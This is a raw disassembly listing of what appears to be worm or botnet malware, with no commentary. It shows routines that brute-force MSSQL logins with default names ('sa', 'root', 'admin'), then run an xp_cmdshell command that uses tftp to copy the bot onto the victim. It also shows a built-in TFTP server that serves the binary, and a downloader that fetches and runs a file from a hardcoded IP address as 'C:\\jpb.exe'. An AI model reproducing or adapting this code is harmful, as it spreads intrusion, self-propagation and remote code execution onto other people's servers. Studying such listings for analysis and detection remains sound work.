		push	44h
		pop	ecx
		xor	ebx, ebx
		xor	eax, eax
		mov	[ebp+0CD8h+var_14], bl
		lea	esi, [ebp+0CD8h+arg_0]
		lea	edi, [ebp+0CD8h+var_D24]
		rep movsd
		lea	edi, [ebp+0CD8h+var_13]
		stosd
		stosd
		stosd
		stosw
		stosb
		mov	eax, [ebp+0CD8h+var_C20]
		mov	[ebp+0CD8h+var_D40], eax
		lea	eax, [ebp+0CD8h+var_D34]
		push	eax
		push	ebx
		push	1
		mov	[ebp+0CD8h+var_D26], bl
		mov	[ebp+0CD8h+var_D54], offset aSa	; "sa"
		mov	[ebp+0CD8h+var_D50], offset aRoot ; "root"
		mov	[ebp+0CD8h+var_D4C], offset aAdmin ; "admin"
		mov	[ebp+0CD8h+var_D48], ebx
		mov	[ebp+0CD8h+var_D25], bl
		mov	[ebp+0CD8h+var_D2C], ebx
		mov	[ebp+0CD8h+var_D30], ebx
		call	sub_4029EA
		test	ax, ax
		jz	short loc_41B7EB

loc_41B7D1:				; CODE XREF: sub_41B751+AEj
		xor	al, al

loc_41B7D3:				; CODE XREF: sub_41B751+CFj
		mov	ecx, [ebp+0CD8h+var_4]
		pop	edi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_402AD0
		add	ebp, 0CD8h
		leave
		retn
; ---------------------------------------------------------------------------

loc_41B7EB:				; CODE XREF: sub_41B751+7Ej
		push	0FFFFFFFAh
		push	3
		push	0C8h
		push	[ebp+0CD8h+var_D34]
		call	sub_4029DE
		test	ax, ax
		jnz	short loc_41B7D1
		lea	eax, [ebp+0CD8h+var_D2C]
		push	eax
		push	[ebp+0CD8h+var_D34]
		push	2
		call	sub_4029EA
		test	ax, ax
		jz	short loc_41B822

loc_41B814:				; CODE XREF: sub_41B751+22Bj
		push	[ebp+0CD8h+var_D34]
		push	1
		call	sub_4029F0
		mov	al, bl
		jmp	short loc_41B7D3
; ---------------------------------------------------------------------------

loc_41B822:				; CODE XREF: sub_41B751+C1j
		mov	edi, ds:dword_41D25C
		lea	ecx, [ebp+0CD8h+var_D54]
		mov	[ebp+0CD8h+var_D3C], ecx

loc_41B82E:				; CODE XREF: sub_41B751+1D0j
		cmp	off_425830, ebx
		mov	[ebp+0CD8h+var_D38], ebx
		jz	loc_41B916
		mov	esi, [ecx]
		mov	eax, offset off_425830

loc_41B844:				; CODE XREF: sub_41B751+16Bj
		lea	ecx, [ebp+0CD8h+var_D26]
		push	ecx
		push	dword ptr [eax]
		push	esi
		push	[ebp+0CD8h+var_C1C]
		push	[ebp+0CD8h+var_D40]
		call	edi	; inet_ntoa
		push	eax
		lea	eax, [ebp+0CD8h+var_414]
		push	offset aDriverSqlServe ; "DRIVER={SQL Server};SERVER=%s,%d;UID=%s"...
		push	eax
		call	sub_403475
		lea	eax, [ebp+0CD8h+var_414]
		add	esp, 1Ch
		lea	ecx, [eax+1]

loc_41B874:				; CODE XREF: sub_41B751+128j
		mov	dl, [eax]
		inc	eax
		cmp	dl, bl
		jnz	short loc_41B874
		push	ebx
		sub	eax, ecx
		lea	ecx, [ebp+0CD8h+var_D44]
		push	ecx
		push	400h
		lea	ecx, [ebp+0CD8h+var_C14]
		push	ecx
		push	eax
		lea	eax, [ebp+0CD8h+var_414]
		push	eax
		push	ebx
		push	[ebp+0CD8h+var_D2C]
		call	sub_4029E4
		movzx	eax, ax
		cmp	ax, bx
		jz	short loc_41B8C0
		cmp	ax, 1
		jz	short loc_41B8C0
		inc	[ebp+0CD8h+var_D38]
		mov	eax, [ebp+0CD8h+var_D38]
		lea	eax, ds:425830h[eax*4]
		cmp	[eax], ebx
		jnz	short loc_41B844
		jmp	short loc_41B916
; ---------------------------------------------------------------------------

loc_41B8C0:				; CODE XREF: sub_41B751+154j
					; sub_41B751+15Aj
		lea	eax, [ebp+0CD8h+var_D30]
		push	eax
		push	[ebp+0CD8h+var_D2C]
		push	3
		call	sub_4029EA
		push	dword_4283FC
		lea	esi, [ebp+0CD8h+var_14]
		call	sub_4197B6
		mov	eax, esi
		push	eax
		lea	eax, [ebp+0CD8h+var_814]
		push	offset aExecMaster__xp ; "EXEC master..xp_cmdshell 'tftp -i %s GE"...
		push	eax
		call	sub_403475
		add	esp, 10h
		push	0FFFFFFFDh
		lea	eax, [ebp+0CD8h+var_814]
		push	eax
		push	[ebp+0CD8h+var_D30]
		call	sub_4029F6
		test	ax, ax
		jz	short loc_41B929
		push	[ebp+0CD8h+var_D30]
		push	3
		call	sub_4029F0

loc_41B916:				; CODE XREF: sub_41B751+E6j
					; sub_41B751+16Dj
		mov	ecx, [ebp+0CD8h+var_D3C]
		add	ecx, 4
		cmp	[ecx], ebx
		mov	[ebp+0CD8h+var_D3C], ecx
		jnz	loc_41B82E
		jmp	short loc_41B96F
; ---------------------------------------------------------------------------

loc_41B929:				; CODE XREF: sub_41B751+1B9j
		push	[ebp+0CD8h+var_D40]
		mov	[ebp+0CD8h+var_D25], 1
		call	edi	; inet_ntoa
		push	eax
		mov	eax, [ebp+0CD8h+var_C24]
		imul	eax, 2Ch
		add	eax, offset dword_424528
		push	eax
		push	offset aSExploitedS__0 ; "%s: Exploited	%s."
		lea	eax, [ebp+0CD8h+var_D24]
		push	eax
		push	[ebp+0CD8h+var_C18]
		push	offset dword_4283FC
		call	sub_417B51
		mov	eax, [ebp+0CD8h+var_C24]
		imul	eax, 2Ch
		lea	eax, dword_42454C[eax]
		add	esp, 18h
		inc	dword ptr [eax]

loc_41B96F:				; CODE XREF: sub_41B751+1D6j
		push	[ebp+0CD8h+var_D2C]
		push	2
		call	sub_4029F0
		mov	bl, [ebp+0CD8h+var_D25]
		jmp	loc_41B814
sub_41B751	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B981	proc near		; DATA XREF: sub_41BB83+15Ao

var_23C		= dword	ptr -23Ch
var_238		= dword	ptr -238h
var_230		= dword	ptr -230h
var_22C		= dword	ptr -22Ch
var_228		= dword	ptr -228h
var_224		= word ptr -224h
var_222		= word ptr -222h
var_220		= byte ptr -220h
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 240h
		mov	eax, dword_423064
		xor	eax, ebp
		mov	[ebp+var_8], eax
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		xor	ebx, ebx
		cmp	esi, ebx
		push	edi
		jnz	short loc_41B9A7

loc_41B9A0:				; CODE XREF: sub_41B981+42j
					; sub_41B981+5Dj ...
		push	ebx
		call	ds:off_41D10C

loc_41B9A7:				; CODE XREF: sub_41B981+1Dj
		lea	edi, [ebp+var_18]
		movsd
		movsd
		push	11h
		movsd
		push	2
		push	2
		movsd
		call	ds:dword_41D220	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_230], eax
		jz	short loc_41B9A0
		push	offset aRb	; "rb"
		push	offset dword_428428
		call	sub_4035B4
		cmp	eax, ebx
		pop	ecx
		pop	ecx
		mov	[ebp+var_228], eax
		jz	short loc_41B9A0
		push	eax
		mov	[ebp+var_22C], ebx
		mov	[ebp+var_23C], 10h
		call	sub_403EB3
		test	eax, eax
		pop	ecx
		jnz	loc_41BAEF
		mov	esi, ds:dword_41D270

loc_41BA05:				; CODE XREF: sub_41B981+168j
		push	204h
		lea	eax, [ebp+var_224]
		push	ebx
		push	eax
		call	sub_407F20
		add	esp, 0Ch
		xor	eax, eax
		inc	[ebp+var_22C]
		push	[ebp+var_22C]
		lea	edi, [ebp+var_238]
		stosd
		call	esi	; htons
		push	3
		mov	[ebp+var_222], ax
		call	esi	; htons
		push	[ebp+var_228]
		mov	[ebp+var_224], ax
		push	200h
		lea	eax, [ebp+var_220]
		push	1
		push	eax
		call	sub_40413F
		mov	edi, [ebp+var_230]
		add	esp, 10h
		push	10h
		lea	ecx, [ebp+var_18]
		push	ecx
		push	ebx
		add	eax, 4
		push	eax
		lea	eax, [ebp+var_224]
		push	eax
		push	edi
		call	ds:dword_41D248	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	loc_41BB6B
		lea	eax, [ebp+var_23C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		push	ebx
		push	4
		lea	eax, [ebp+var_238]
		push	eax
		push	edi
		call	ds:dword_41D258	; recvfrom
		cmp	eax, 0FFFFFFFFh
		jz	loc_41BB6B
		push	[ebp+var_238]
		call	ds:dword_41D250	; htons
		cmp	ax, 4
		jnz	loc_41BB6B
		push	[ebp+var_238+2]
		call	ds:dword_41D250	; htons
		cmp	ax, word ptr [ebp+var_22C]
		jnz	loc_41BB6B
		push	[ebp+var_228]
		call	sub_403EB3
		test	eax, eax
		pop	ecx
		jz	loc_41BA05

loc_41BAEF:				; CODE XREF: sub_41B981+78j
		inc	dword_435394
		push	100h
		call	sub_402A08
		mov	esi, eax
		push	esi
		call	sub_402E05
		push	eax
		mov	ebx, offset aBb	; "¡¡ÉÉ"
		call	sub_419EC1
		add	esp, 0Ch
		push	dword_435394
		push	[ebp+var_14]
		call	ds:dword_41D25C	; inet_ntoa
		push	eax
		push	offset aTftpSendComple ; "TFTP:	Send Complete To %s. %d	Total Sen"...
		push	esi
		push	0
		push	offset dword_4283FC
		call	sub_417B51
		push	esi
		call	sub_402F5B
		add	esp, 1Ch
		push	[ebp+var_230]
		call	ds:dword_41D280	; closesocket
		push	[ebp+var_228]
		call	sub_403884
		pop	ecx
		mov	ecx, [ebp+var_8]
		pop	edi
		pop	esi
		xor	ecx, ebp
		xor	eax, eax
		pop	ebx
		call	sub_402AD0
		leave
		retn	4
; ---------------------------------------------------------------------------

loc_41BB6B:				; CODE XREF: sub_41B981+100j
					; sub_41B981+125j ...
		push	edi
		call	ds:dword_41D280	; closesocket
		push	[ebp+var_228]
		call	sub_403884
		pop	ecx
		jmp	loc_41B9A0
sub_41B981	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BB83	proc near		; DATA XREF: sub_41BD26+53o

var_148		= dword	ptr -148h
var_144		= dword	ptr -144h
var_140		= dword	ptr -140h
var_13C		= dword	ptr -13Ch
var_138		= byte ptr -138h
var_134		= dword	ptr -134h
var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		and	esp, 0FFFFFFF8h
		sub	esp, 14Ch
		mov	eax, dword_423064
		xor	eax, esp
		mov	[esp+14Ch+var_4], eax
		push	ebx
		push	esi
		push	edi
		push	11h
		xor	esi, esi
		push	2
		inc	esi
		push	2
		mov	[esp+164h+var_140], esi
		call	ds:dword_41D220	; socket
		cmp	eax, 0FFFFFFFFh
		mov	dword_428424, eax
		jnz	short loc_41BBCC
		xor	ebx, ebx

loc_41BBBF:				; CODE XREF: sub_41BB83+C1j
		mov	byte_43538D, bl

loc_41BBC5:				; CODE XREF: sub_41BB83+BFj
		push	ebx
		call	ds:off_41D10C

loc_41BBCC:				; CODE XREF: sub_41BB83+38j
		push	4
		lea	ecx, [esp+15Ch+var_140]
		push	ecx
		push	4
		push	0FFFFh
		push	eax
		call	ds:dword_41D24C	; setsockopt
		xor	eax, eax
		lea	edi, [esp+158h+var_14]
		stosd
		stosd
		stosd
		stosd
		push	45h
		mov	[esp+15Ch+var_14], 2
		call	ds:dword_41D270	; htons
		mov	[esp+158h+var_12], ax
		push	10h
		lea	eax, [esp+15Ch+var_14]
		push	eax
		push	dword_428424
		xor	ebx, ebx
		mov	[esp+164h+var_10], ebx
		call	ds:dword_41D27C	; bind
		cmp	eax, 0FFFFFFFFh
		jnz	loc_41BCF5
		push	dword_428424
		call	ds:dword_41D280	; closesocket
		cmp	byte_43538D, bl
		jz	short loc_41BBC5
		jmp	loc_41BBBF
; ---------------------------------------------------------------------------

loc_41BC49:				; CODE XREF: sub_41BB83+178j
		mov	eax, dword_428424
		mov	[esp+158h+var_11C], eax
		xor	eax, eax
		lea	edi, [esp+158h+var_148]
		stosd
		stosd
		lea	eax, [esp+158h+var_148]
		push	eax
		push	ebx
		push	ebx
		lea	eax, [esp+164h+var_120]
		push	eax
		push	ebx
		mov	[esp+16Ch+var_120], esi
		mov	[esp+16Ch+var_148], 5
		mov	[esp+16Ch+var_144], ebx
		call	ds:dword_41D254	; select
		test	eax, eax
		jle	short loc_41BCF5
		xor	eax, eax
		lea	edi, [esp+158h+var_134]
		stosd
		stosd
		stosd
		stosd
		stosd
		lea	eax, [esp+158h+var_13C]
		push	eax
		lea	eax, [esp+15Ch+var_14]
		push	eax
		push	ebx
		push	14h
		lea	eax, [esp+168h+var_134]
		push	eax
		push	dword_428424
		mov	[esp+170h+var_13C], 10h
		call	ds:dword_41D258	; recvfrom
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41BCF5
		push	[esp+158h+var_134]
		inc	dword_435390
		call	ds:dword_41D250	; htons
		cmp	ax, si
		jnz	short loc_41BCF5
		lea	eax, [esp+158h+var_138]
		push	eax
		push	ebx
		lea	eax, [esp+160h+var_14]
		push	eax
		push	offset sub_41B981
		push	ebx
		push	ebx
		call	ds:off_41D090
		push	3E8h
		call	ds:off_41D0F8

loc_41BCF5:				; CODE XREF: sub_41BB83+A7j
					; sub_41BB83+FCj ...
		cmp	byte_43538D, bl
		jnz	loc_41BC49
		push	dword_428424
		call	ds:dword_41D280	; closesocket
		mov	ecx, [esp+158h+var_4]
		pop	edi
		pop	esi
		pop	ebx
		xor	ecx, esp
		xor	eax, eax
		call	sub_402AD0
		mov	esp, ebp
		pop	ebp
		retn	4
sub_41BB83	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BD26	proc near		; CODE XREF: sub_4022D6+5Ap
					; sub_41C28D+3EEp
		push	4
		mov	eax, offset loc_41C944
		call	sub_40497C
		xor	ebx, ebx
		cmp	byte_43538D, bl
		jz	short loc_41BD40

loc_41BD3C:				; CODE XREF: sub_41BD26+74j
		mov	al, 1
		jmp	short loc_41BDA4
; ---------------------------------------------------------------------------

loc_41BD40:				; CODE XREF: sub_41BD26+14j
		mov	edi, 100h
		push	edi
		push	ebx
		mov	esi, offset dword_428428
		push	esi
		call	sub_407F20
		add	esp, 0Ch
		push	edi
		push	esi
		push	ebx
		call	ds:dword_41D0E0	; GetModuleHandleA
		push	eax
		call	ds:dword_41D060	; GetModuleFileNameA
		push	8
		call	sub_40340B
		mov	esi, eax
		pop	ecx
		mov	[ebp-10h], esi
		cmp	esi, ebx
		mov	[ebp-4], ebx
		jz	short loc_41BD8C
		push	offset sub_41BB83
		xor	ecx, ecx
		mov	edi, offset aTftpServer	; "TFTP	Server"
		call	sub_414884
		jmp	short loc_41BD8E
; ---------------------------------------------------------------------------

loc_41BD8C:				; CODE XREF: sub_41BD26+51j
		xor	eax, eax

loc_41BD8E:				; CODE XREF: sub_41BD26+64j
		cmp	[eax+4], ebx
		jz	short loc_41BD9C
		mov	byte_43538D, 1
		jmp	short loc_41BD3C
; ---------------------------------------------------------------------------

loc_41BD9C:				; CODE XREF: sub_41BD26+6Bj
		mov	byte_43538D, bl
		xor	al, al

loc_41BDA4:				; CODE XREF: sub_41BD26+18j
		call	sub_404A1B
		retn
sub_41BD26	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BDAA	proc near		; CODE XREF: sub_40177B+6Cp
					; sub_4019F3+6Cp ...

var_3DC		= dword	ptr -3DCh
var_3D8		= byte ptr -3D8h
var_308		= byte ptr -308h
var_307		= byte ptr -307h
var_208		= byte ptr -208h
var_207		= byte ptr -207h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		and	esp, 0FFFFFFF8h
		sub	esp, 3E0h
		mov	eax, dword_423064
		xor	eax, esp
		mov	[esp+3E0h+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		mov	esi, 1FFh
		xor	ebx, ebx
		push	esi
		mov	[esp+3ECh+var_3DC], eax
		lea	eax, [esp+3ECh+var_207]
		push	ebx
		push	eax
		mov	[esp+3F4h+var_208], bl
		call	sub_407F20
		add	esp, 0Ch
		push	0FFh
		lea	eax, [esp+3ECh+var_307]
		push	ebx
		push	eax
		mov	[esp+3F4h+var_308], bl
		call	sub_407F20
		add	esp, 0Ch
		lea	eax, [esp+3E8h+var_3D8]
		call	sub_414B90
		push	[esp+3E8h+var_3DC]
		lea	eax, [esp+3ECh+var_208]
		push	offset aS_15	; "%s"
		push	esi
		push	eax
		call	sub_402EAE
		lea	eax, [esp+3F8h+var_208]
		add	esp, 10h
		lea	esi, [eax+1]

loc_41BE37:				; CODE XREF: sub_41BDAA+92j
		mov	cl, [eax]
		inc	eax
		cmp	cl, bl
		jnz	short loc_41BE37
		lea	ecx, [esp+3E8h+var_3D8]
		push	ecx
		sub	eax, esi
		push	eax
		lea	ecx, [esp+3F0h+var_208]
		call	sub_417450
		push	200h
		lea	eax, [esp+3F4h+var_208]
		push	ebx
		push	eax
		call	sub_407F20
		lea	eax, [esp+3FCh+var_308]
		add	esp, 14h
		push	eax
		lea	ebx, [esp+3ECh+var_3D8]
		call	sub_4172D0
		pop	ecx
		push	0C0h
		push	0
		push	edi
		call	sub_407F20
		add	esp, 0Ch
		xor	esi, esi

loc_41BE8C:				; CODE XREF: sub_41BDAA+114j
		movzx	eax, [esp+esi+3E8h+var_308]
		push	eax
		push	edi
		push	offset aSX	; "%s%X"
		push	0BFh
		push	edi
		call	sub_402EAE
		mov	eax, edi
		add	esp, 14h
		lea	ecx, [eax+1]

loc_41BEAE:				; CODE XREF: sub_41BDAA+109j
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_41BEAE
		sub	eax, ecx
		inc	esi
		cmp	esi, 40h
		mov	[eax+edi], dl
		jl	short loc_41BE8C
		mov	ecx, [esp+3E8h+var_4]
		pop	esi
		pop	ebx
		xor	ecx, esp
		mov	eax, edi
		call	sub_402AD0
		mov	esp, ebp
		pop	ebp
		retn
sub_41BDAA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BED6	proc near		; DATA XREF: sub_40177B+234o
					; sub_4019F3+1E6o ...

var_750		= dword	ptr -750h
var_74C		= dword	ptr -74Ch
var_748		= dword	ptr -748h
var_744		= dword	ptr -744h
var_740		= dword	ptr -740h
var_73C		= byte ptr -73Ch
var_738		= byte ptr -738h
var_638		= byte ptr -638h
var_615		= byte ptr -615h
var_515		= byte ptr -515h
var_415		= byte ptr -415h
var_414		= byte ptr -414h
var_413		= dword	ptr -413h
var_408		= byte ptr -408h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		and	esp, 0FFFFFFF8h
		sub	esp, 754h
		mov	eax, dword_423064
		xor	eax, esp
		mov	[esp+754h+var_4], eax
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	ecx, 0C9h
		lea	edi, [esp+760h+var_738]
		rep movsd
		xor	ebx, ebx
		push	ebx
		push	ebx
		push	ebx
		movsw
		push	ebx
		push	offset aMozilla5_0 ; "Mozilla/5.0"
		movsb
		call	ds:dword_41D218	; InternetOpenA
		mov	esi, eax
		lea	eax, [esp+760h+var_515]
		push	eax
		lea	eax, [esp+764h+var_615]
		push	eax
		push	offset aDlDownloadingS ; "DL: Downloading %s to	%s"
		lea	eax, [esp+76Ch+var_738]
		push	eax
		push	[esp+770h+var_413]
		mov	edi, offset dword_4283FC
		push	edi
		call	sub_417B51
		add	esp, 18h
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		lea	eax, [esp+770h+var_615]
		push	eax
		push	esi
		call	ds:dword_41D214	; InternetOpenUrlA
		cmp	esi, ebx
		mov	[esp+760h+var_744], eax
		jz	loc_41C0F5
		cmp	eax, ebx
		jz	loc_41C0EE
		push	ebx
		push	ebx
		push	2
		push	ebx
		push	ebx
		push	40000000h
		lea	eax, [esp+778h+var_515]
		push	eax
		call	ds:dword_41D06C	; CreateFileA
		mov	[esp+760h+var_748], eax
		call	ds:dword_41D104	; GetTickCount
		mov	[esp+760h+var_740], eax
		mov	[esp+760h+var_750], ebx
		mov	esi, 400h

loc_41BF9D:				; CODE XREF: sub_41BED6+11Fj
		push	esi
		lea	eax, [esp+764h+var_408]
		push	ebx
		push	eax
		call	sub_407F20
		add	esp, 0Ch
		lea	eax, [esp+760h+var_74C]
		push	eax
		push	esi
		lea	eax, [esp+768h+var_408]
		push	eax
		push	[esp+76Ch+var_744]
		call	ds:dword_41D210	; InternetReadFile
		push	ebx
		lea	eax, [esp+764h+var_73C]
		push	eax
		push	[esp+768h+var_74C]
		lea	eax, [esp+76Ch+var_408]
		push	eax
		push	[esp+770h+var_748]
		call	ds:dword_41D088	; WriteFile
		test	eax, eax
		jz	loc_41C0A0
		mov	eax, [esp+760h+var_74C]
		add	[esp+760h+var_750], eax
		cmp	eax, ebx
		ja	short loc_41BF9D
		call	ds:dword_41D104	; GetTickCount
		sub	eax, [esp+760h+var_740]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	ecx, eax
		cmp	ecx, ebx
		jnz	short loc_41C013
		xor	ecx, ecx
		inc	ecx

loc_41C013:				; CODE XREF: sub_41BED6+138j
		mov	eax, [esp+760h+var_750]
		xor	edx, edx
		div	ecx
		shr	eax, 0Ah
		push	eax
		push	ecx
		push	[esp+768h+var_750]
		lea	eax, [esp+76Ch+var_515]
		push	eax
		push	offset aDlDownloadSIBy ; "DL: Download %s (%i Bytes) finished in "...
		lea	eax, [esp+774h+var_738]
		push	eax
		push	[esp+778h+var_413]
		push	edi
		call	sub_417B51
		add	esp, 20h
		push	[esp+760h+var_748]
		call	ds:dword_41D0D8	; CloseHandle
		cmp	[esp+760h+var_415], 1
		jnz	loc_41C10F
		cmp	[esp+760h+var_414], bl
		lea	eax, [esp+760h+var_515]
		jz	short loc_41C0AE
		push	eax
		call	sub_419A09
		test	al, al
		pop	ecx
		lea	eax, [esp+760h+var_738]
		jz	short loc_41C0A7
		push	offset aMainUninstalli ; "Main:	Uninstalling Drone"
		push	eax
		push	[esp+768h+var_413]
		push	edi
		call	sub_417B51
		add	esp, 10h
		lea	eax, [esp+760h+var_638]
		push	eax
		call	sub_419C67

loc_41C0A0:				; CODE XREF: sub_41BED6+10Fj
		push	offset aDlFailedBadLoc ; "DL: Failed; Bad Location."
		jmp	short loc_41C0FA
; ---------------------------------------------------------------------------

loc_41C0A7:				; CODE XREF: sub_41BED6+1A5j
		push	offset aDlFailedToUpda ; "DL: Failed To	Update"
		jmp	short loc_41C0FE
; ---------------------------------------------------------------------------

loc_41C0AE:				; CODE XREF: sub_41BED6+196j
		push	5
		push	ebx
		push	ebx
		push	eax
		push	offset byte_41EF1F
		push	ebx
		call	ds:dword_41D1E0
		test	eax, eax
		jnz	short loc_41C0CA
		push	offset aDlErrorExecuti ; "DL: Error Executing File."
		jmp	short loc_41C0FA
; ---------------------------------------------------------------------------

loc_41C0CA:				; CODE XREF: sub_41BED6+1EBj
		lea	eax, [esp+760h+var_515]
		push	eax
		push	offset aDlExecutedFile ; "DL: Executed File: %s"
		lea	eax, [esp+768h+var_738]
		push	eax
		push	[esp+76Ch+var_413]
		push	edi
		call	sub_417B51
		add	esp, 14h
		jmp	short loc_41C10F
; ---------------------------------------------------------------------------

loc_41C0EE:				; CODE XREF: sub_41BED6+91j
		push	offset aDlFailedBadUrl ; "DL: Failed; Bad URL"
		jmp	short loc_41C0FA
; ---------------------------------------------------------------------------

loc_41C0F5:				; CODE XREF: sub_41BED6+89j
		push	offset aDlFailedWinine ; "DL: Failed; WinINET Error"

loc_41C0FA:				; CODE XREF: sub_41BED6+1CFj
					; sub_41BED6+1F2j ...
		lea	eax, [esp+764h+var_738]

loc_41C0FE:				; CODE XREF: sub_41BED6+1D6j
		push	eax
		push	[esp+768h+var_413]
		push	edi
		call	sub_417B51
		add	esp, 10h

loc_41C10F:				; CODE XREF: sub_41BED6+182j
					; sub_41BED6+216j
		call	ds:dword_41D0DC	; GetCurrentThreadId
		push	eax
		call	sub_41481B
		pop	ecx
		mov	ecx, [esp+760h+var_4]
		pop	edi
		pop	esi
		pop	ebx
		xor	ecx, esp
		xor	eax, eax
		call	sub_402AD0
		mov	esp, ebp
		pop	ebp
		retn	4
sub_41BED6	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C135	proc near		; CODE XREF: sub_41C28D+2C0p
		push	334h
		mov	eax, offset loc_41C9CC
		call	sub_4049E5
		push	327h
		xor	ebx, ebx
		lea	eax, [ebp-338h]
		push	ebx
		push	eax
		call	sub_407F20
		lea	eax, [ebp-338h]
		add	esp, 0Ch
		lea	edx, [eax+1]

loc_41C164:				; CODE XREF: sub_41C135+34j
		mov	cl, [eax]
		inc	eax
		cmp	cl, bl
		jnz	short loc_41C164
		sub	eax, edx
		mov	[ebp+eax-338h],	bl
		lea	eax, [ebp-238h]
		lea	esi, [eax+1]

loc_41C17D:				; CODE XREF: sub_41C135+4Dj
		mov	cl, [eax]
		inc	eax
		cmp	cl, bl
		jnz	short loc_41C17D
		sub	eax, esi
		push	offset aHttp217_67_229 ; "http://217.67.229.212/phpbb/uploads/jpb"...
		mov	[ebp+eax-238h],	bl
		mov	esi, 0FFh
		lea	eax, [ebp-215h]
		push	esi
		push	eax
		call	sub_402EAE
		lea	eax, [ebp-215h]
		add	esp, 0Ch
		lea	edi, [eax+1]

loc_41C1B0:				; CODE XREF: sub_41C135+80j
		mov	cl, [eax]
		inc	eax
		cmp	cl, bl
		jnz	short loc_41C1B0
		sub	eax, edi
		push	offset aCJpb_exe ; "C:\\jpb.exe"
		mov	[ebp+eax-215h],	bl
		lea	eax, [ebp-115h]
		push	esi
		push	eax
		call	sub_402EAE
		lea	eax, [ebp-115h]
		add	esp, 0Ch
		lea	esi, [eax+1]

loc_41C1DE:				; CODE XREF: sub_41C135+AEj
		mov	cl, [eax]
		inc	eax
		cmp	cl, bl
		jnz	short loc_41C1DE
		sub	eax, esi
		mov	[ebp+eax-115h],	bl
		push	8
		mov	byte ptr [ebp-12h], 1
		mov	[ebp-13h], bl
		mov	byte ptr [ebp-15h], 1
		mov	[ebp-14h], bl
		call	sub_40340B
		mov	esi, eax
		pop	ecx
		mov	[ebp-33Ch], esi
		cmp	esi, ebx
		mov	[ebp-4], ebx
		jz	short loc_41C228
		push	offset sub_41BED6
		lea	ecx, [ebp-338h]
		mov	edi, offset aDl	; "DL"
		call	sub_414884

loc_41C228:				; CODE XREF: sub_41C135+DCj
		call	sub_404A2F
		retn
sub_41C135	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C22E	proc near		; CODE XREF: .text:0041CB30p
					; .text:0041CB4Cp ...

var_108		= dword	ptr -108h
var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 108h
		mov	eax, dword_423064
		xor	eax, ebp
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_104]
		push	100h
		push	eax
		mov	dword ptr [esi], offset	off_420B24
		mov	[ebp+var_108], esi
		call	sub_402EAE
		mov	eax, dword_435690
		add	esp, 0Ch
		lea	edx, [ebp+var_108]
		push	edx
		mov	ecx, offset dword_43568C
		push	eax
		push	ecx
		call	sub_40121E
		mov	ecx, [ebp+var_4]
		xor	ecx, ebp
		mov	eax, esi
		call	sub_402AD0
		leave
		retn	4
sub_41C22E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C28D	proc near		; CODE XREF: .text:00404464p

var_76C		= dword	ptr -76Ch
var_768		= dword	ptr -768h
var_764		= byte ptr -764h
var_750		= dword	ptr -750h
var_740		= dword	ptr -740h
var_728		= dword	ptr -728h
var_6BC		= byte ptr -6BCh
var_510		= byte ptr -510h
var_50C		= byte ptr -50Ch
var_504		= byte ptr -504h
var_500		= byte ptr -500h
var_4FF		= byte ptr -4FFh
var_4EC		= byte ptr -4ECh
var_4C8		= byte ptr -4C8h
var_4B0		= byte ptr -4B0h
var_4A8		= byte ptr -4A8h
var_4A7		= byte ptr -4A7h
var_44C		= byte ptr -44Ch
var_440		= byte ptr -440h
var_430		= byte ptr -430h
var_428		= byte ptr -428h
var_427		= byte ptr -427h
var_344		= byte ptr -344h
var_338		= byte ptr -338h
var_328		= byte ptr -328h
var_320		= byte ptr -320h
var_31F		= byte ptr -31Fh
var_238		= byte ptr -238h
var_230		= byte ptr -230h
var_22F		= byte ptr -22Fh
var_118		= byte ptr -118h
var_110		= byte ptr -110h
var_10F		= byte ptr -10Fh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		and	esp, 0FFFFFFF8h
		sub	esp, 72Ch
		mov	eax, dword_423064
		xor	eax, esp
		mov	[esp+72Ch+var_4], eax
		mov	eax, [ebp+arg_8]
		push	ebx
		push	esi
		push	edi
		mov	[esp+738h+var_728], eax
		call	sub_419E67
		test	al, al
		jz	short loc_41C2D3

loc_41C2BA:				; CODE XREF: sub_41C28D+1BFj
					; sub_41C28D+1EAj ...
		mov	ecx, [esp+738h+var_4]
		pop	edi
		pop	esi
		pop	ebx
		xor	ecx, esp
		xor	eax, eax
		call	sub_402AD0
		mov	esp, ebp
		pop	ebp
		retn	10h
; ---------------------------------------------------------------------------

loc_41C2D3:				; CODE XREF: sub_41C28D+2Bj
		call	sub_419DDC
		test	al, al
		jnz	loc_41C735
		call	ds:off_41D08C
		test	eax, eax
		jnz	loc_41C735
		mov	esi, offset aInstall ; "--install "
		lea	edi, [esp+738h+var_4EC]
